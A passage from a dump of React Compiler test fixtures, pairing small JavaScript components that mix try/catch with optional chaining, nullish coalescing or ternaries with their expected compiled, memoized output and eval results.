    "content": "function Component({a, b, cond, items}) {\n  try {\n    const x = a?.value;\n    // items.length is accessed WITHIN the ternary expression - throws if items is null\n    const y = cond ? b?.first : items.length;\n    const z = x && y;\n    return (\n      <div>\n        {String(x)}-{String(y)}-{String(z)}\n      </div>\n    );\n  } catch {\n    return <div>error</div>;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      a: {value: 'A'},\n      b: {first: 'B1', second: 'B2'},\n      cond: true,\n      items: [1, 2, 3],\n    },\n  ],\n  sequentialRenders: [\n    {\n      a: {value: 'A'},\n      b: {first: 'B1', second: 'B2'},\n      cond: true,\n      items: [1, 2, 3],\n    },\n    {\n      a: {value: 'A'},\n      b: {first: 'B1', second: 'B2'},\n      cond: true,\n      items: [1, 2, 3],\n    },\n    {\n      a: {value: 'A'},\n      b: {first: 'B1', second: 'B2'},\n      cond: false,\n      items: [1, 2],\n    },\n    {a: null, b: {first: 'B1', second: 'B2'}, cond: true, items: [1, 2, 3]},\n    {a: {value: 'A'}, b: null, cond: true, items: [1, 2, 3]}, // b?.first is safe (returns undefined)\n    {a: {value: 'A'}, b: {first: 'B1', second: 'B2'}, cond: false, items: null}, // errors because items.length throws when cond=false\n    {\n      a: {value: ''},\n      b: {first: 'B1', second: 'B2'},\n      cond: true,\n      items: [1, 2, 3, 4],\n    },\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-mutate-outer-value.expect.md",
    "content": "\n## Input\n\n```javascript\nconst {shallowCopy, throwErrorWithMessage} = require('shared-runtime');\n\nfunction Component(props) {\n  const x = [];\n  try {\n    x.push(throwErrorWithMessage('oops'));\n  } catch {\n    x.push(shallowCopy({a: props.a}));\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 1}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nconst { shallowCopy, throwErrorWithMessage } = require(\"shared-runtime\");\n\nfunction Component(props) {\n  const $ = _c(5);\n  let x;\n  if ($[0] !== props) {\n    x = [];\n    try {\n      let t0;\n      if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t0 = throwErrorWithMessage(\"oops\");\n        $[2] = t0;\n      } else {\n        t0 = $[2];\n      }\n      x.push(t0);\n    } catch {\n      let t0;\n      if ($[3] !== props.a) {\n        t0 = shallowCopy({ a: props.a });\n        $[3] = props.a;\n        $[4] = t0;\n      } else {\n        t0 = $[4];\n      }\n      x.push(t0);\n    }\n    $[0] = props;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 1 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"a\":1}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-mutate-outer-value.js",
    "content": "const {shallowCopy, throwErrorWithMessage} = require('shared-runtime');\n\nfunction Component(props) {\n  const x = [];\n  try {\n    x.push(throwErrorWithMessage('oops'));\n  } catch {\n    x.push(shallowCopy({a: props.a}));\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 1}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-nested-optional-chaining.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component({data, fallback}) {\n  try {\n    // fallback.default is accessed WITHIN the optional chain via nullish coalescing\n    const value = data?.nested?.deeply?.value ?? fallback.default;\n    return <div>{value}</div>;\n  } catch {\n    return <div>error</div>;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {data: {nested: {deeply: {value: 'found'}}}, fallback: {default: 'none'}},\n  ],\n  sequentialRenders: [\n    {data: {nested: {deeply: {value: 'found'}}}, fallback: {default: 'none'}},\n    {data: {nested: {deeply: {value: 'found'}}}, fallback: {default: 'none'}},\n    {data: {nested: {deeply: {value: 'changed'}}}, fallback: {default: 'none'}},\n    {data: {nested: {deeply: null}}, fallback: {default: 'none'}}, // uses fallback.default\n    {data: {nested: null}, fallback: {default: 'none'}}, // uses fallback.default\n    {data: null, fallback: null}, // errors because fallback.default throws\n    {data: {nested: {deeply: {value: 42}}}, fallback: {default: 'none'}},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(t0) {\n  const $ = _c(3);\n  const { data, fallback } = t0;\n  try {\n    const value = data?.nested?.deeply?.value ?? fallback.default;\n    let t1;\n    if ($[0] !== value) {\n      t1 = <div>{value}</div>;\n      $[0] = value;\n      $[1] = t1;\n    } else {\n      t1 = $[1];\n    }\n    return t1;\n  } catch {\n    let t1;\n    if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      t1 = <div>error</div>;\n      $[2] = t1;\n    } else {\n      t1 = $[2];\n    }\n    return t1;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      data: { nested: { deeply: { value: \"found\" } } },\n      fallback: { default: \"none\" },\n    },\n  ],\n\n  sequentialRenders: [\n    {\n      data: { nested: { deeply: { value: \"found\" } } },\n      fallback: { default: \"none\" },\n    },\n    {\n      data: { nested: { deeply: { value: \"found\" } } },\n      fallback: { default: \"none\" },\n    },\n    {\n      data: { nested: { deeply: { value: \"changed\" } } },\n      fallback: { default: \"none\" },\n    },\n    { data: { nested: { deeply: null } }, fallback: { default: \"none\" } }, // uses fallback.default\n    { data: { nested: null }, fallback: { default: \"none\" } }, // uses fallback.default\n    { data: null, fallback: null }, // errors because fallback.default throws\n    {\n      data: { nested: { deeply: { value: 42 } } },\n      fallback: { default: \"none\" },\n    },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>found</div>\n<div>found</div>\n<div>changed</div>\n<div>none</div>\n<div>none</div>\n<div>error</div>\n<div>42</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-nested-optional-chaining.js",
    "content": "function Component({data, fallback}) {\n  try {\n    // fallback.default is accessed WITHIN the optional chain via nullish coalescing\n    const value = data?.nested?.deeply?.value ?? fallback.default;\n    return <div>{value}</div>;\n  } catch {\n    return <div>error</div>;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {data: {nested: {deeply: {value: 'found'}}}, fallback: {default: 'none'}},\n  ],\n  sequentialRenders: [\n    {data: {nested: {deeply: {value: 'found'}}}, fallback: {default: 'none'}},\n    {data: {nested: {deeply: {value: 'found'}}}, fallback: {default: 'none'}},\n    {data: {nested: {deeply: {value: 'changed'}}}, fallback: {default: 'none'}},\n    {data: {nested: {deeply: null}}, fallback: {default: 'none'}}, // uses fallback.default\n    {data: {nested: null}, fallback: {default: 'none'}}, // uses fallback.default\n    {data: null, fallback: null}, // errors because fallback.default throws\n    {data: {nested: {deeply: {value: 42}}}, fallback: {default: 'none'}},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-nullish-coalescing.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component({a, b, fallback}) {\n  try {\n    // fallback.value is accessed WITHIN the ?? chain\n    const result = a ?? b ?? fallback.value;\n    return <span>{result}</span>;\n  } catch {\n    return <span>error</span>;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 'first', b: 'second', fallback: {value: 'default'}}],\n  sequentialRenders: [\n    {a: 'first', b: 'second', fallback: {value: 'default'}},\n    {a: 'first', b: 'second', fallback: {value: 'default'}},\n    {a: null, b: 'second', fallback: {value: 'default'}},\n    {a: null, b: null, fallback: {value: 'fallback'}},\n    {a: undefined, b: undefined, fallback: {value: 'fallback'}},\n    {a: 0, b: 'not zero', fallback: {value: 'default'}},\n    {a: null, b: null, fallback: null}, // errors because fallback.value throws WITHIN the ?? chain\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(t0) {\n  const $ = _c(3);\n  const { a, b, fallback } = t0;\n  try {\n    const result = a ?? b ?? fallback.value;\n    let t1;\n    if ($[0] !== result) {\n      t1 = <span>{result}</span>;\n      $[0] = result;\n      $[1] = t1;\n    } else {\n      t1 = $[1];\n    }\n    return t1;\n  } catch {\n    let t1;\n    if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      t1 = <span>error</span>;\n      $[2] = t1;\n    } else {\n      t1 = $[2];\n    }\n    return t1;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: \"first\", b: \"second\", fallback: { value: \"default\" } }],\n  sequentialRenders: [\n    { a: \"first\", b: \"second\", fallback: { value: \"default\" } },\n    { a: \"first\", b: \"second\", fallback: { value: \"default\" } },\n    { a: null, b: \"second\", fallback: { value: \"default\" } },\n    { a: null, b: null, fallback: { value: \"fallback\" } },\n    { a: undefined, b: undefined, fallback: { value: \"fallback\" } },\n    { a: 0, b: \"not zero\", fallback: { value: \"default\" } },\n    { a: null, b: null, fallback: null }, // errors because fallback.value throws WITHIN the ?? chain\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <span>first</span>\n<span>first</span>\n<span>second</span>\n<span>fallback</span>\n<span>fallback</span>\n<span>0</span>\n<span>error</span>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-nullish-coalescing.js",
    "content": "function Component({a, b, fallback}) {\n  try {\n    // fallback.value is accessed WITHIN the ?? chain\n    const result = a ?? b ?? fallback.value;\n    return <span>{result}</span>;\n  } catch {\n    return <span>error</span>;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 'first', b: 'second', fallback: {value: 'default'}}],\n  sequentialRenders: [\n    {a: 'first', b: 'second', fallback: {value: 'default'}},\n    {a: 'first', b: 'second', fallback: {value: 'default'}},\n    {a: null, b: 'second', fallback: {value: 'default'}},\n    {a: null, b: null, fallback: {value: 'fallback'}},\n    {a: undefined, b: undefined, fallback: {value: 'fallback'}},\n    {a: 0, b: 'not zero', fallback: {value: 'default'}},\n    {a: null, b: null, fallback: null}, // errors because fallback.value throws WITHIN the ?? chain\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-optional-call.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component({obj, arg}) {\n  try {\n    // arg.value is accessed WITHIN the optional call expression as an argument\n    // When obj is non-null but arg is null, arg.value throws inside the optional chain\n    const result = obj?.method?.(arg.value);\n    return <span>{result ?? 'no result'}</span>;\n  } catch {\n    return <span>error</span>;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{obj: {method: x => 'called:' + x}, arg: {value: 1}}],\n  sequentialRenders: [\n    {obj: {method: x => 'called:' + x}, arg: {value: 1}},\n    {obj: {method: x => 'called:' + x}, arg: {value: 1}},\n    {obj: {method: x => 'different:' + x}, arg: {value: 2}},\n    {obj: {method: null}, arg: {value: 3}},\n    {obj: {notMethod: true}, arg: {value: 4}},\n    {obj: null, arg: {value: 5}}, // obj is null, short-circuits so arg.value is NOT evaluated\n    {obj: {method: x => 'test:' + x}, arg: null}, // errors because arg.value throws WITHIN the optional call\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(t0) {\n  const $ = _c(6);\n  const { obj, arg } = t0;\n  try {\n    let t1;\n    if ($[0] !== arg || $[1] !== obj) {\n      t1 = obj?.method?.(arg.value);\n      $[0] = arg;\n      $[1] = obj;\n      $[2] = t1;\n    } else {\n      t1 = $[2];\n    }\n    const result = t1;\n    const t2 = result ?? \"no result\";\n    let t3;\n    if ($[3] !== t2) {\n      t3 = <span>{t2}</span>;\n      $[3] = t2;\n      $[4] = t3;\n    } else {\n      t3 = $[4];\n    }\n    return t3;\n  } catch {\n    let t1;\n    if ($[5] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      t1 = <span>error</span>;\n      $[5] = t1;\n    } else {\n      t1 = $[5];\n    }\n    return t1;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      obj: {\n        method: (x) => {\n          return \"called:\" + x;\n        },\n      },\n      arg: { value: 1 },\n    },\n  ],\n  sequentialRenders: [\n    {\n      obj: {\n        method: (x) => {\n          return \"called:\" + x;\n        },\n      },\n      arg: { value: 1 },\n    },\n    {\n      obj: {\n        method: (x) => {\n          return \"called:\" + x;\n        },\n      },\n      arg: { value: 1 },\n    },\n    {\n      obj: {\n        method: (x) => {\n          return \"different:\" + x;\n        },\n      },\n      arg: { value: 2 },\n    },\n    { obj: { method: null }, arg: { value: 3 } },\n    { obj: { notMethod: true }, arg: { value: 4 } },\n    { obj: null, arg: { value: 5 } }, // obj is null, short-circuits so arg.value is NOT evaluated\n    {\n      obj: {\n        method: (x) => {\n          return \"test:\" + x;\n        },\n      },\n      arg: null,\n    }, // errors because arg.value throws WITHIN the optional call\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <span>called:1</span>\n<span>called:1</span>\n<span>different:2</span>\n<span>no result</span>\n<span>no result</span>\n<span>no result</span>\n<span>error</span>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-optional-call.js",
    "content": "function Component({obj, arg}) {\n  try {\n    // arg.value is accessed WITHIN the optional call expression as an argument\n    // When obj is non-null but arg is null, arg.value throws inside the optional chain\n    const result = obj?.method?.(arg.value);\n    return <span>{result ?? 'no result'}</span>;\n  } catch {\n    return <span>error</span>;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{obj: {method: x => 'called:' + x}, arg: {value: 1}}],\n  sequentialRenders: [\n    {obj: {method: x => 'called:' + x}, arg: {value: 1}},\n    {obj: {method: x => 'called:' + x}, arg: {value: 1}},\n    {obj: {method: x => 'different:' + x}, arg: {value: 2}},\n    {obj: {method: null}, arg: {value: 3}},\n    {obj: {notMethod: true}, arg: {value: 4}},\n    {obj: null, arg: {value: 5}}, // obj is null, short-circuits so arg.value is NOT evaluated\n    {obj: {method: x => 'test:' + x}, arg: null}, // errors because arg.value throws WITHIN the optional call\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-optional-chaining.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Foo({json}) {\n  try {\n    const foo = JSON.parse(json)?.foo;\n    return <span>{foo}</span>;\n  } catch {\n    return null;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{json: '{\"foo\": \"hello\"}'}],\n  sequentialRenders: [\n    {json: '{\"foo\": \"hello\"}'},\n    {json: '{\"foo\": \"hello\"}'},\n    {json: '{\"foo\": \"world\"}'},\n    {json: '{\"bar\": \"no foo\"}'},\n    {json: '{}'},\n    {json: 'invalid json'},\n    {json: '{\"foo\": 42}'},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Foo(t0) {\n  const $ = _c(4);\n  const { json } = t0;\n  try {\n    let t1;\n    if ($[0] !== json) {\n      t1 = JSON.parse(json)?.foo;\n      $[0] = json;\n      $[1] = t1;\n    } else {\n      t1 = $[1];\n    }\n    const foo = t1;\n    let t2;\n    if ($[2] !== foo) {\n      t2 = <span>{foo}</span>;\n      $[2] = foo;\n      $[3] = t2;\n    } else {\n      t2 = $[3];\n    }\n    return t2;\n  } catch {\n    return null;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ json: '{\"foo\": \"hello\"}' }],\n  sequentialRenders: [\n    { json: '{\"foo\": \"hello\"}' },\n    { json: '{\"foo\": \"hello\"}' },\n    { json: '{\"foo\": \"world\"}' },\n    { json: '{\"bar\": \"no foo\"}' },\n    { json: \"{}\" },\n    { json: \"invalid json\" },\n    { json: '{\"foo\": 42}' },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <span>hello</span>\n<span>hello</span>\n<span>world</span>\n<span></span>\n<span></span>\nnull\n<span>42</span>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-optional-chaining.js",
    "content": "function Foo({json}) {\n  try {\n    const foo = JSON.parse(json)?.foo;\n    return <span>{foo}</span>;\n  } catch {\n    return null;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{json: '{\"foo\": \"hello\"}'}],\n  sequentialRenders: [\n    {json: '{\"foo\": \"hello\"}'},\n    {json: '{\"foo\": \"hello\"}'},\n    {json: '{\"foo\": \"world\"}'},\n    {json: '{\"bar\": \"no foo\"}'},\n    {json: '{}'},\n    {json: 'invalid json'},\n    {json: '{\"foo\": 42}'},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-ternary-expression.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let result;\n  try {\n    // fallback.value is accessed WITHIN the ternary's false branch\n    result = props.cond ? props.a : props.fallback.value;\n  } catch (e) {\n    result = 'error';\n  }\n  return result;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true, a: 'hello', fallback: {value: 'world'}}],\n  sequentialRenders: [\n    {cond: true, a: 'hello', fallback: {value: 'world'}},\n    {cond: true, a: 'hello', fallback: {value: 'world'}},\n    {cond: false, a: 'hello', fallback: {value: 'world'}},\n    {cond: true, a: 'foo', fallback: {value: 'bar'}},\n    {cond: false, a: 'foo', fallback: null}, // errors because fallback.value throws WITHIN the ternary\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  let result;\n  try {\n    result = props.cond ? props.a : props.fallback.value;\n  } catch (t0) {\n    result = \"error\";\n  }\n\n  return result;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: true, a: \"hello\", fallback: { value: \"world\" } }],\n  sequentialRenders: [\n    { cond: true, a: \"hello\", fallback: { value: \"world\" } },\n    { cond: true, a: \"hello\", fallback: { value: \"world\" } },\n    { cond: false, a: \"hello\", fallback: { value: \"world\" } },\n    { cond: true, a: \"foo\", fallback: { value: \"bar\" } },\n    { cond: false, a: \"foo\", fallback: null }, // errors because fallback.value throws WITHIN the ternary\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"hello\"\n\"hello\"\n\"world\"\n\"foo\"\n\"error\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-ternary-expression.js",
    "content": "function Component(props) {\n  let result;\n  try {\n    // fallback.value is accessed WITHIN the ternary's false branch\n    result = props.cond ? props.a : props.fallback.value;\n  } catch (e) {\n    result = 'error';\n  }\n  return result;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true, a: 'hello', fallback: {value: 'world'}}],\n  sequentialRenders: [\n    {cond: true, a: 'hello', fallback: {value: 'world'}},\n    {cond: true, a: 'hello', fallback: {value: 'world'}},\n    {cond: false, a: 'hello', fallback: {value: 'world'}},\n    {cond: true, a: 'foo', fallback: {value: 'bar'}},\n    {cond: false, a: 'foo', fallback: null}, // errors because fallback.value throws WITHIN the ternary\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-immediately-returns.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = props.default;\n  try {\n    // note: has to be a primitive, we want an instruction that cannot throw\n    // to ensure there is no maybe-throw terminal\n    const y = 42;\n    return y;\n  } catch (e) {\n    x = e;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{default: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  let x;\n\n  return 42;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ default: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) 42"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-immediately-returns.js",
    "content": "function Component(props) {\n  let x = props.default;\n  try {\n    // note: has to be a primitive, we want an instruction that cannot throw\n    // to ensure there is no maybe-throw terminal\n    const y = 42;\n    return y;\n  } catch (e) {\n    x = e;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{default: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-immediately-throws-after-constant-propagation.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = props.default;\n  const y = 42;\n  try {\n    // note: this constant propagates so that we know\n    // the handler is unreachable\n    return y;\n  } catch (e) {\n    x = e;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{default: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  let x;\n\n  return 42;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ default: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) 42"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-immediately-throws-after-constant-propagation.js",
    "content": "function Component(props) {\n  let x = props.default;\n  const y = 42;\n  try {\n    // note: this constant propagates so that we know\n    // the handler is unreachable\n    return y;\n  } catch (e) {\n    x = e;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{default: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-value-modified-in-catch-escaping.expect.md",
    "content": "\n## Input\n\n```javascript\nconst {throwInput} = require('shared-runtime');\n\nfunction Component(props) {\n  let x;\n  try {\n    const y = [];\n    y.push(props.y);\n    throwInput(y);\n  } catch (e) {\n    e.push(props.e);\n    x = e;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{y: 'foo', e: 'bar'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nconst { throwInput } = require(\"shared-runtime\");\n\nfunction Component(props) {\n  const $ = _c(3);\n  let x;\n  if ($[0] !== props.e || $[1] !== props.y) {\n    try {\n      const y = [];\n      y.push(props.y);\n      throwInput(y);\n    } catch (t0) {\n      const e = t0;\n      e.push(props.e);\n      x = e;\n    }\n    $[0] = props.e;\n    $[1] = props.y;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ y: \"foo\", e: \"bar\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"foo\",\"bar\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-value-modified-in-catch-escaping.js",
    "content": "const {throwInput} = require('shared-runtime');\n\nfunction Component(props) {\n  let x;\n  try {\n    const y = [];\n    y.push(props.y);\n    throwInput(y);\n  } catch (e) {\n    e.push(props.e);\n    x = e;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{y: 'foo', e: 'bar'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-value-modified-in-catch.expect.md",
    "content": "\n## Input\n\n```javascript\nconst {throwInput} = require('shared-runtime');\n\nfunction Component(props) {\n  try {\n    const y = [];\n    y.push(props.y);\n    throwInput(y);\n  } catch (e) {\n    e.push(props.e);\n    return e;\n  }\n  return null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{y: 'foo', e: 'bar'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nconst { throwInput } = require(\"shared-runtime\");\n\nfunction Component(props) {\n  const $ = _c(3);\n  let t0;\n  if ($[0] !== props.e || $[1] !== props.y) {\n    t0 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      try {\n        const y = [];\n        y.push(props.y);\n        throwInput(y);\n      } catch (t1) {\n        const e = t1;\n        e.push(props.e);\n        t0 = e;\n        break bb0;\n      }\n    }\n    $[0] = props.e;\n    $[1] = props.y;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  if (t0 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t0;\n  }\n\n  return null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ y: \"foo\", e: \"bar\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"foo\",\"bar\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-value-modified-in-catch.js",
    "content": "const {throwInput} = require('shared-runtime');\n\nfunction Component(props) {\n  try {\n    const y = [];\n    y.push(props.y);\n    throwInput(y);\n  } catch (e) {\n    e.push(props.e);\n    return e;\n  }\n  return null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{y: 'foo', e: 'bar'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-with-catch-param.expect.md",
    "content": "\n## Input\n\n```javascript\nconst {throwInput} = require('shared-runtime');\n\nfunction Component(props) {\n  let x = [];\n  try {\n    // foo could throw its argument...\n    throwInput(x);\n  } catch (e) {\n    // ... in which case this could be mutating `x`!\n    e.push(null);\n    return e;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nconst { throwInput } = require(\"shared-runtime\");\n\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      x = [];\n      try {\n        throwInput(x);\n      } catch (t1) {\n        const e = t1;\n        e.push(null);\n        t0 = e;\n        break bb0;\n      }\n    }\n    $[0] = t0;\n    $[1] = x;\n  } else {\n    t0 = $[0];\n    x = $[1];\n  }\n  if (t0 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t0;\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) [null]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-with-catch-param.js",
    "content": "const {throwInput} = require('shared-runtime');\n\nfunction Component(props) {\n  let x = [];\n  try {\n    // foo could throw its argument...\n    throwInput(x);\n  } catch (e) {\n    // ... in which case this could be mutating `x`!\n    e.push(null);\n    return e;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-with-return.expect.md",
    "content": "\n## Input\n\n```javascript\nconst {shallowCopy, throwInput} = require('shared-runtime');\n\nfunction Component(props) {\n  let x = [];\n  try {\n    const y = shallowCopy({});\n    if (y == null) {\n      return;\n    }\n    x.push(throwInput(y));\n  } catch {\n    return null;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nconst { shallowCopy, throwInput } = require(\"shared-runtime\");\n\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      x = [];\n      try {\n        const y = shallowCopy({});\n        if (y == null) {\n          t0 = undefined;\n          break bb0;\n        }\n\n        x.push(throwInput(y));\n      } catch {\n        t0 = null;\n        break bb0;\n      }\n    }\n    $[0] = t0;\n    $[1] = x;\n  } else {\n    t0 = $[0];\n    x = $[1];\n  }\n  if (t0 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t0;\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) null"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-with-return.js",
    "content": "const {shallowCopy, throwInput} = require('shared-runtime');\n\nfunction Component(props) {\n  let x = [];\n  try {\n    const y = shallowCopy({});\n    if (y == null) {\n      return;\n    }\n    x.push(throwInput(y));\n  } catch {\n    return null;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-function-expression-returns-caught-value.expect.md",
